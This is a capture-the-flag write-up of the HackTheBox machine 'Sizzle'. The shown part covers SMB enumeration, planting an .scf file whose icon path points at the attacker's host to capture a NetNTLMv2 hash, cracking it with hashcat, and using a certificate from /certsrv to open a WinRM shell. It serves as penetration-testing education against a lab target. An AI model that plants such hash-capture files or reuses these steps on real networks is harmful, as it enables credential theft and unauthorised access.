HTB: Sizzle
I loved Sizzle. It was just a really tough box that reinforced Windows concepts that I hear about from pentesters in the real world. I’ll start with some SMB access, use a .scf file to capture a users NetNTLM hash, and crack it to get creds. From there I can create a certificate for the user and then authenticate over WinRM. I’ll Kerberoast to get a second user, who is able to run the DCSync attack, leading to an admin shell. I’ll have two beyond root sections, the first to show two unintended paths, and the second to exploit NTLM authentication over HTTP, and how Burp breaks it.
Box Info
Name | Sizzle Play on HackTheBox |
---|---|
Release Date | 12 Jan 2019 |
Retire Date | 25 May 2019 |
OS | Windows |
Base Points | Insane [50] |
Rated Difficulty | |
Radar Graph | |
17:59:56 |
|
18:37:15 |
|
Creators |
Recon
nmap
nmap
scan shows a Windows host without much of a firewall up:
root@kali# nmap -sT -p- --min-rate 10000 -oA nmap/alltcp 10.10.10.103
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-14 20:56 EST
Nmap scan report for 10.10.10.103
Host is up (0.018s latency).
Not shown: 65506 filtered ports
PORT STATE SERVICE
21/tcp open ftp
53/tcp open domain
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
5986/tcp open wsmans
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49679/tcp open unknown
49682/tcp open unknown
49683/tcp open unknown
49684/tcp open unknown
49687/tcp open unknown
49697/tcp open unknown
49709/tcp open unknown
53221/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 13.43 seconds
root@kali# nmap -sC -sV -p 21,53,80,135,139,443,445,464,593,636,3268,3269,5985,5986,9389,47001 -oA nmap/scripts 10.10.10.103
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-14 20:58 EST
Nmap scan report for 10.10.10.103
Host is up (0.020s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_ SYST: Windows_NT
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after: 2020-07-02T17:58:55
|_ssl-date: 2019-01-15T01:53:09+00:00; -7m35s from scanner time.
| tls-alpn:
| h2
|_ http/1.1
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after: 2020-07-02T17:58:55
|_ssl-date: 2019-01-15T01:53:11+00:00; -7m34s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after: 2020-07-02T17:58:55
|_ssl-date: 2019-01-15T01:53:10+00:00; -7m34s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after: 2020-07-02T17:58:55
|_ssl-date: 2019-01-15T01:53:10+00:00; -7m34s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername:<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2018-07-02T20:26:23
|_Not valid after: 2019-07-02T20:26:23
|_ssl-date: 2019-01-15T01:53:10+00:00; -7m35s from scanner time.
| tls-alpn:
| h2
|_ http/1.1
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.70%I=7%D=1/14%Time=5C3D3E4D%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: SIZZLE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -7m34s, deviation: 0s, median: -7m35s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2019-01-14 20:53:10
|_ start_date: 2019-01-13 18:56:00
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 180.10 seconds
The ports that jump out as most interesting are FTP (21), HTTP (80), LDAP (389), and SMB (445). I’ll also note WinRM on 5985/5986 as something I can use if I find creds.
FTP - TCP 21
FTP allows anonymous logins, but the directory is empty.
root@kali# ftp 10.10.10.103
Connected to 10.10.10.103.
220 Microsoft FTP Service
Name (10.10.10.103:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
I’ll keep this in mind in case it’s useful later.
Website - port 80
Site
The site just shows a gif of bacon sizzling:
gobuster
Didn’t find anything interesting with gobuster
. Ran similar searched on the https site as well.
root@kali# gobuster -u http://10.10.10.103/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x asp,aspx,txt,html
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.103/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions : aspx,txt,html,asp
[+] Timeout : 10s
=====================================================
2019/01/15 20:47:01 Starting gobuster
=====================================================
/images (Status: 301)
/index.html (Status: 200)
/Images (Status: 301)
/Index.html (Status: 200)
/IMAGES (Status: 301)
/INDEX.html (Status: 200)
=====================================================
2019/01/15 21:09:19 Finished
=====================================================
But, later I tried with an IIS focused list, and something else shows up:
root@kali# gobuster -k -u https://10.10.10.103 -w /usr/share/seclists/Discovery/Web-Content/IIS.fuzz.txt -t 50
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : https://10.10.10.103/
[+] Threads : 50
[+] Wordlist : /usr/share/seclists/Discovery/Web-Content/IIS.fuzz.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2019/01/24 14:12:36 Starting gobuster
=====================================================
//certenroll/ (Status: 403)
=====================================================
2019/01/24 14:12:36 Finished
=====================================================
LDAP - TCP 389
All my attempts to get information out of LDAP without any authentication failed. I’ll need to revisit with user creds and try again.
SMB - TCP 445
List Shares
smbmap
doesn’t show anything useful:
root@kali# smbmap -H 10.10.10.103
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.103...
[+] IP: 10.10.10.103:445 Name: 10.10.10.103
Disk Permissions
---- -----------
[!] Access Denied
Because I’ve been burned enumerating SMB before, I’ll double check with smbclient
, and I get a list of shares:
root@kali# smbclient -N -L \\\\10.10.10.103
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
CertEnroll Disk Active Directory Certificate Services share
Department Shares Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Operations Disk
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
Connection to 10.10.10.103 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available
Check Access
For each share, I’d like to know which allow access with null authentication. When I try to connect to SYSVOL it lets me connect, but then doesn’t let me ever run dir
.
root@kali# smbclient -N //10.10.10.103/SYSVOL
Try "help" to get a list of possible commands.
smb: \> dir
NT_STATUS_ACCESS_DENIED listing \*
I get the same behavior for the next share, Operations. I’ll write a loop to test these. First I’ll grep
on “Disk” to get just the lines with the shares (I don’t mind missing the IPC share here). Then I’ll use sed
to match on the entire line, selecting the share name, and then replace it with the share group selection:
root@kali# smbclient -N -L \\\\10.10.10.103 | grep Disk | sed 's/^\s*\(.*\)\s*Disk.*/\1/'
ADMIN$
C$
CertEnroll
Department Shares
NETLOGON
Operations
SYSVOL
If that regex is scary, check out regex101 (that link will load this example). You can paste in your data and build your regex and it will update with colored blocks showing what matches. There’s also a neat reference panel to look up things like “what’s the pattern to match any whitespace character?” (The answer is \s
.)
I’ll use sed
to match that regex, and then replace with \1
, which is the first match (whatevers in the first set of
()`). So I replace the entire line with just the sharename.
Now, it’s just a manner of looping over those shares, trying to connect, and seeing if i can do a dir
:
root@kali# smbclient -N -L \\\\10.10.10.103 | grep Disk | sed 's/^\s*\(.*\)\s*Disk.*/\1/' | while read share; do echo "======${share}======"; smbclient -N "//10.10.10.103/${share}" -c dir; echo; done
======ADMIN$======
tree connect failed: NT_STATUS_ACCESS_DENIED
======C$======
tree connect failed: NT_STATUS_ACCESS_DENIED
======CertEnroll======
NT_STATUS_ACCESS_DENIED listing \*
======Department Shares======
. D 0 Tue Jul 3 11:22:32 2018
.. D 0 Tue Jul 3 11:22:32 2018
Accounting D 0 Mon Jul 2 15:21:43 2018
Audit D 0 Mon Jul 2 15:14:28 2018
Banking D 0 Tue Jul 3 11:22:39 2018
CEO_protected D 0 Mon Jul 2 15:15:01 2018
Devops D 0 Mon Jul 2 15:19:33 2018
Finance D 0 Mon Jul 2 15:11:57 2018
HR D 0 Mon Jul 2 15:16:11 2018
Infosec D 0 Mon Jul 2 15:14:24 2018
Infrastructure D 0 Mon Jul 2 15:13:59 2018
IT D 0 Mon Jul 2 15:12:04 2018
Legal D 0 Mon Jul 2 15:12:09 2018
M&A D 0 Mon Jul 2 15:15:25 2018
Marketing D 0 Mon Jul 2 15:14:43 2018
R&D D 0 Mon Jul 2 15:11:47 2018
Sales D 0 Mon Jul 2 15:14:37 2018
Security D 0 Mon Jul 2 15:21:47 2018
Tax D 0 Mon Jul 2 15:16:54 2018
Users D 0 Tue Jul 10 17:39:32 2018
ZZ_ARCHIVE D 0 Tue Jan 15 04:10:39 2019
7779839 blocks of size 4096. 3211943 blocks available
======NETLOGON======
NT_STATUS_ACCESS_DENIED listing \*
======Operations======
NT_STATUS_ACCESS_DENIED listing \*
======SYSVOL======
NT_STATUS_ACCESS_DENIED listing \*
So there’s only one share I can access at this point in a meaningful way.
Mount Share
I’ll mount the share so I can easily access it:
root@kali# mount -t cifs "//10.10.10.103/Department Shares" /mnt
Password for root@//10.10.10.103/Department Shares:
root@kali:/mnt# ls
Accounting Audit Banking CEO_protected Devops Finance HR Infosec Infrastructure IT Legal 'M&A' Marketing 'R&D' Sales Security Tax Users ZZ_ARCHIVE
Enumeration
There’s a bunch of empty directories. In fact, only one directory has files:
root@kali:/mnt/ZZ_ARCHIVE# ls
AddComplete.pptx DebugMove.mpg EditMount.doc ExitEnter.mpg JoinEnable.ram NewInitialize.doc RequestJoin.mpeg2 SuspendWatch.mp4 UpdateRead.mpeg
AddMerge.ram DebugSelect.mpg EditSuspend.mp3 ExportEdit.ogg LimitInstall.doc OutConnect.mpeg2 RequestOpen.ogg SwitchConvertFrom.mpg WaitRevoke.pptx
ConfirmUnprotect.doc DebugUse.pptx EnableAdd.pptx GetOptimize.pdf LimitStep.ppt PingGet.dot ResetCompare.avi UndoPing.rm WriteUninstall.mp3
ConvertFromInvoke.mov DisconnectApprove.ogg EnablePing.mov GroupSend.rm MergeBlock.mp3 ReceiveInvoke.mpeg2 ResetUninstall.mpeg UninstallExpand.mp3
ConvertJoin.docx DisconnectDebug.mpeg2 EnableSend.ppt HideExpand.rm MountClear.mpeg2 RemoveEnter.mpeg3 ResumeCompare.doc UnpublishSplit.ppt
CopyPublish.ogg EditCompress.xls EnterMerge.mpeg InstallWait.pptx MoveUninstall.docx RemoveRestart.mpeg SelectPop.ogg UnregisterPing.pptx
And all these files are just filled with nulls:
root@kali:/mnt/ZZ_ARCHIVE# cat AddComplete.pptx | xxd
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
...[snip]...
root@kali:/mnt/ZZ_ARCHIVE# cat * | xxd | grep -v "0000 0000 0000 0000 0000 0000 0000 0000"
01466650: 0000
There’s a users directory:
root@kali:/mnt/Users# ls
amanda amanda_adm bill bob chris henry joe jose lkys37en morgan mrb3n Public
I can’t see any files in there, but this does give me a list of usernames.
Check for Write
I’ll run a check to see if I can write anywhere. I’ll run it as a one-liner, but here’s the bash with some whitespace for readability:
find . -type d | while read directory; do
touch ${directory}/0xdf 2>/dev/null && echo "${directory} - write file" && rm ${directory}/0xdf;
mkdir ${directory}/0xdf 2>/dev/null && echo "${directory} - write dir" && rmdir ${directory}/0xdf;
done
find . -type d
will list all the directories in the current directory. So for each directory, I’ll try to write a file in it. If that returns true (it writes), I’ll echo the dir name and then remove the file. I’ll do that same again but this time making a directory. I find two dirs I can write in:
root@kali:/mnt# find . -type d | while read directory; do touch ${directory}/0xdf 2>/dev/null && echo "${directory} - write file" && rm ${directory}/0xdf; mkdir ${directory}/0xdf 2>/dev/null && echo "${directory} - write directory" && rmdir ${directory}/0xdf; done
./Users/Public - write file
./Users/Public - write directory
./ZZ_ARCHIVE - write file
./ZZ_ARCHIVE - write directory
Files Deleted
I wanted to test what kinds of files I might be able to write. So I created a bunch of different files on the system in the two places I could write:
root@kali:/mnt/Users/Public# touch {/mnt/ZZ_ARCHIVE/,./}0xdf.{lnk,exe,dll,ini}
root@kali:/mnt/Users/Public# ls
0xdf 0xdf.dll 0xdf.exe 0xdf.ini 0xdf.lnk
root@kali:/mnt/Users/Public# ls /mnt/ZZ_ARCHIVE/0xdf.*
/mnt/ZZ_ARCHIVE/0xdf.dll /mnt/ZZ_ARCHIVE/0xdf.exe /mnt/ZZ_ARCHIVE/0xdf.ini /mnt/ZZ_ARCHIVE/0xdf.lnk
It looks like they all write, which is to say, nothing is blocking based on file name. But then something surprised me. I went back a bit later, and the files in Public were gone. I set up the test again, and this time used watch -d "ls /mnt/Users/Public/*; ls /mnt/ZZ_ARCHIVE/0xdf*"
to monitor. watch
will run the command you give it periodically (every two seconds by default) and -d
has it highlight any changes on the screen. It turns out that the files are cleared every 4 minutes:
Creds for Amanda
Strategy
Now that I know there’s some kind of user interaction on this host, a bunch more ideas for attack vectors come to mind. This paper outlines how Windows Explorer Shell Command files (.scf
) can be used to get Windows to open an SMB connection whenever a user visits a directory containing the file. A .scf
is a text file that can include an icon path that can be remote. .lnk
files used to have the same issue, but this was patched in August 2010 after Stuxnet was seen in the wild abusing .lnk
files
For Sizzle, I will drop a .scf
file with a link location on my host, and use responder to capture the NTLMv2 hash. For more information on responder and NetNTLMv2, check out my post on responder, which was released just around the time Sizzle was released (though I hadn’t done Sizzle yet). Here’s another reference for methods to capture NetNTLMv2, which includes .scf
files.
Get NetNTLMv2
I’ll drop the following file into the Public folder:
root@kali:/mnt/Users/Public# cat 0xdf.scf
[Shell]
Command=2
IconFile=\\10.10.14.4\icon
When Explorer
enters this directory, it will attempt to fetch the icon file from my host and authenticate. I’ll have responder
running to capture that authentication. A minute later, I get a NetNTLMv2 on responder
:
[+] Listening for events...
[SMBv2] NTLMv2-SSP Client : 10.10.10.103
[SMBv2] NTLMv2-SSP Username : HTB\amanda
[SMBv2] NTLMv2-SSP Hash : amanda::HTB:ee1fd9c7201c2a31:F4FD2428AB3107D72E46472A28ADD345:0101000000000000C0653150DE09D2017B51A16FDF651C2D000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000100000000200000AACD5ACB75C0E2B759DD79265572393CA79CF1AD76837FDD836686E2DC5F78BD0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E0031003500000000000000000000000000
Crack NetNTLMv2
Now I’ll head over to hashcat
to crack this. It breaks in 9 seconds to ‘Ashare1972’:
$ hashcat -m 5600 amanda-ntlmv2 /usr/share/wordlists/rockyou.txt --force
hashcat (v4.0.1) starting...
OpenCL Platform #1: The pocl project
====================================
* Device #1: pthread-Intel(R) Core(TM) i7-7700 CPU @ 3.60GHz, 8192/29068 MB allocatable, 8MCU
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
...[snip]...
AMANDA::HTB:ee1fd9c7201c2a31:f4fd2428ab3107d72e46472a28add345:0101000000000000c0653150de09d2017b51a16fdf651c2d000000000200080053004d004200330001001e00570049004e002d00500052004800340039003200520051004100460056000400140053004d00420033002e006c006f00630061006c0003003400570049004e002d00500052004800340039003200520051004100460056002e0053004d00420033002e006c006f00630061006c000500140053004d00420033002e006c006f00630061006c0007000800c0653150de09d20106000400020000000800300030000000000000000100000000200000aacd5acb75c0e2b759dd79265572393ca79cf1ad76837fdd836686e2dc5f78bd0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0031003500000000000000000000000000:Ashare1972
Session..........: hashcat
Status...........: Cracked
Hash.Type........: NetNTLMv2
Hash.Target......: AMANDA::HTB:ee1fd9c7201c2a31:f4fd2428ab3107d72e4647...000000
Time.Started.....: Wed Jan 16 14:18:23 2019 (8 secs)
Time.Estimated...: Wed Jan 16 14:18:31 2019 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 1442.9 kH/s (5.14ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 11419648/14344385 (79.61%)
Rejected.........: 0/11419648 (0.00%)
Restore.Point....: 11411456/14344385 (79.55%)
Candidates.#1....: AznG13 -> ApRiL197630
HWMon.Dev.#1.....: N/A
Started: Wed Jan 16 14:18:23 2019
Stopped: Wed Jan 16 14:18:32 2019
Enumeration as amanda
Shell over WinRM - Fail
With creds for amanda and WinRM open, I tried to connect using Alamot’s WinRM shell just as I did in Giddy, but it fails with an authentication error, for both http and https.
Share Access
Now that I have creds, I’ll re-run smbmap
with creds, and see that I have access to a bunch more:
root@kali# smbmap -H 10.10.10.103 -u amanda -p Ashare1972
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.103...
[+] IP: 10.10.10.103:445 Name: 10.10.10.103
Disk Permissions
---- -----------
ADMIN$ NO ACCESS
C$ NO ACCESS
CertEnroll READ ONLY
Department Shares READ ONLY
IPC$ READ ONLY
NETLOGON READ ONLY
Operations NO ACCESS
SYSVOL READ ONLY
CertEnroll is interesting, but nothing that’s immediately useful:
root@kali# mount -t cifs -o username=amanda,password=Ashare1972 "//10.10.10.103/CertEnroll" /mnt
root@kali# ls -l mnt/
total 13
-rwxr-xr-x 1 root root 721 Jan 23 18:55 HTB-SIZZLE-CA+.crl
-rwxr-xr-x 1 root root 909 Jan 20 18:55 HTB-SIZZLE-CA.crl
-rwxr-xr-x 1 root root 322 Jul 2 2018 nsrev_HTB-SIZZLE-CA.asp
-rwxr-xr-x 1 root root 871 Jul 2 2018 sizzle.HTB.LOCAL_HTB-SIZZLE-CA.crt
LDAP
I can also use these creds to get more ldap information:
root@kali# ldapdomaindump -u 'htb.local\amanda' -p Ashare1972 10.10.10.103 -o ~/hackthebox/sizzle-10.10.10.103/ldap/
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
root@kali# ls ~/hackthebox/sizzle-10.10.10.103/ldap/
domain_computers_by_os.html domain_computers.json domain_groups.json domain_policy.json domain_trusts.json domain_users.html
domain_computers.grep domain_groups.grep domain_policy.grep domain_trusts.grep domain_users_by_group.html domain_users.json
domain_computers.html domain_groups.html domain_policy.html domain_trusts.html domain_users.grep
root@kali# firefox ~/hackthebox/sizzle-10.10.10.103/ldap/domain_users.html
root@kali# firefox ~/hackthebox/sizzle-10.10.10.103/ldap/domain_computers.html
Shell as amanda
Accessing /certsrv
Find It
In my web enumeration, I found /certenroll
, but that seems to be a dead end. In googling about this, I see it’s part of the Certificate Enrollment Web Services in Active Directory Certificate Services, which also fits with the files I was looking at in the share. I also see /certsrv
as a primary end point for this service. If I try it in a browser, I’m prompted to log in:
Why Did gobuster Fail?
Why did this not come back in gobuster
? Well, if I look in Burp, I’ll see in the response headers that what comes back for this path is a 401 Unauthorized:
HTTP/1.1 401 Unauthorized
Content-Type: text/html
Server: Microsoft-IIS/10.0
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
X-Powered-By: ASP.NET
Date: Wed, 30 Jan 2019 11:24:24 GMT
Connection: close
Content-Length: 1293
By default, gobuster
only returns on 200,204,301,302,307,403. If I add 401, it finds it:
root@kali# gobuster -k -u https://10.10.10.103 -w /usr/share/seclists/Discovery/Web-Content/IIS.fuzz.txt -t 20 -s 200,204,301,302,307,403,401
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : https://10.10.10.103/
[+] Threads : 20
[+] Wordlist : /usr/share/seclists/Discovery/Web-Content/IIS.fuzz.txt
[+] Status codes : 200,204,301,302,307,401,403
[+] Timeout : 10s
=====================================================
2019/01/30 05:58:48 Starting gobuster
=====================================================
//certsrv/ (Status: 401)
//certenroll/ (Status: 403)
=====================================================
2019/01/30 05:58:48 Finished
=====================================================
This is the second time recently that I’ve run into an instance where an unusual return code caused gobuster
to miss something (similar to the HTTP 418 in BigHead). Perhaps it’s time to move to dirsearch.py
?
Logging In
amanda’s password, Ashare1972, gets me in to the /certsrv/
, HTB-SIZZLE-CA:
I also will notice in the HTTP 401 response above that it’s asking for NTLM authentication. Burp will break NTLM authentication. That means that when I enter amanda / Ashare1972, it will just pop the auth prompt again as if I had entered bad creds. It sounds like this is fixed in beta versions of Burp. I’ll figure out what’s breaking in Beyond Root.
Generate Certificate and Key for amanda
This webpage will allow me to generate a certificate that I can use to authenticate as amanda. There are two ways to get the two files I need, a key (.key
) and a certificate (.crt
or .cer
, they are interchangeable).
Load Into Browser and Export
I’ll click on the “Request a certificate” link in the page, and it will give me another page to request a type:
I’ll click “User Certificate”, and on the next screen, “Submit”:
Then it returns a page telling me it’s created my certificate:
When I click “Install this certificate”, Firefox pops an alert telling me that the certificate has been installed:
If I open the Firefox menu, go to “Preferences”, and search for “certificates” in the top right box, there’s a button to “View Certificates…”:
Clicking that opens the Certificate Manager, and in the “Your Certificates” tab, I’ll see I now have one for amanda:
I’ll click on that cert, and then hit “Backup…”, and save the file as amanda.p12
. I can set a password if I want, but I’ll leave it empty. This file contains both the certificate and the key. I’ll next use openssl
to create both those files from the .p12
. I’ll need the password for the .p12
if one is set, and openssl
requires that the output key has a password of at least 4 characters.
root@kali# openssl pkcs12 -in amanda.p12 -nocerts -out amanda.key
Enter Import Password:
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
root@kali# openssl pkcs12 -in amanda.p12 -clcerts -nokeys -out amanda.crt
Enter Import Password:
I now have both files I need:
root@kali# ls amanda.*
amanda.crt amanda.key amanda.p12
Submit Certificate Signing Request
Here, I’m going to create my own Certificate Signing Request (csr) and key, and then submit that CSR to the server, and it will give me back a certificate. First, I’ll use openssl
to create the CSR and key:
root@kali# openssl req -newkey rsa:2048 -nodes -keyout amanda.key -out amanda.csr
Generating a RSA private key
.......................................................................................+++++
..............................................................................+++++
writing new private key to 'amanda.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
root@kali# ls amanda.*
amanda.csr amanda.key
root@kali# cat amanda.csr
-----BEGIN CERTIFICATE REQUEST-----
MIICijCCAXICAQAwRTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUx
ITAfBgNVBAoMGEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcN
AQEBBQADggEPADCCAQoCggEBAKYhKIJDLTDDZGvddYQMJRBA9C5p5LY0Oi/ooi3Y
oHvUlYtczMD4Fw0hI9chrCo77TX/+22PIEek4YrW69HomTvGKNnRv/lsXvUlsO27
5nBGdlMDCuoDYY+3YfN+uEDARPLh/lLyBodkDoRjhvcUj6xPNAn29BjkoFdKIRcs
TqhKzgyadpSwkJBQMJ2F28zrTLrkCbapqUlrI0ACzAGhsy41etpmXCwfdQRCsH7U
4s/5fVNGa99XkVyn2NspPWOW9CvM9pcSQVGk25WCOnI4o8r46yx7XZe9kLBYNpkL
s/UKpJyuuCW/fNhdnBwJDdUbJCobt9rMMgr0o2D/mL6rqUsCAwEAAaAAMA0GCSqG
SIb3DQEBCwUAA4IBAQA+lksZvE76XKeUuuGzz0LWuGY2JkkLM30jvEcqaQfWZSyr
3NYj9GtrjYkysc6vKuuvyxLTt53+cAZ1Og8CaHvJfR85AiiYuaLzm2Rez6FBlVIj
7Xsq+r3kMoUyNyn6Bra04OvbJPiKBGQvssI1Ac6yLpyELd7Q88NX++CgAN/+7exW
R3vZqGTNbjRqe3hlm04/ivydr07e8LVy5u80aWrO/eEZDZucfQc0kwbMvk61XoGK
O6Bjft5cVUiQaOOE6D9UG/ezJnaIYf5E0VStBIeowpOwHiWlfnRfAwNQAiynQry8
eu7w58I156Rd1c9lEoqjWMZplrJE4L05e4aGRO74
-----END CERTIFICATE REQUEST-----
Next, on the web page, I’ll go to “Request a certificate” just like the previous method, but then I’ll click on “advanced certificate request”.
I’ll paste the csr into the form, and hit “Submit >”:
The resulting page offers me links to download the certificate:
I’ll use the Download certificate link, and save it as amanda.crt
.
WinRM Shell
With certificate and key in hand, I can now authenticate as amanda using WinRM. I’ll use Alamot’s Ruby script with some small modification. In looking a the Ruby WinRM module documentation, I’ll see that if the connection is over ssl, I have additional options, including :client_cert
, :client_key
, and :key_pass
. I’ll use those, instead of the user
and password
fields. I’ll also set the endpoint, making sure to use the https connection on port 5986 (as opposed to http on 5985) since the keyed auth is only available on a secure connection:
require 'winrm'
# Author: Alamot
conn = WinRM::Connection.new(
endpoint: 'https://10.10.10.103:5986/wsman',
transport: :ssl,
client_cert: 'amanda.crt',
client_key: 'amanda.key',
key_pass: '0xdf',
:no_ssl_peer_verification => true
)
command=""
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
output = shell.run(command) do |stdout, stderr|
STDOUT.print stdout
STDERR.print stderr
end
end
puts "Exiting with code #{output.exitcode}"
end
Now I can run that and get a shell as amanda:
root@kali# ruby winrm_shell.rb
PS htb\amanda@SIZZLE Documents> whoami
htb\amanda
CLM / AppLocker Break Out
Enumeration
The shell I have is quite limited. I can see that I’m in constrained language mode, and that AppLocker is limiting what I can run.
PS htb\amanda@SIZZLE v2.0.50727> $executioncontext.sessionstate.languagemode
ConstrainedLanguage
PS htb\amanda@SIZZLE Documents> Get-AppLockerPolicy -Effective -XML
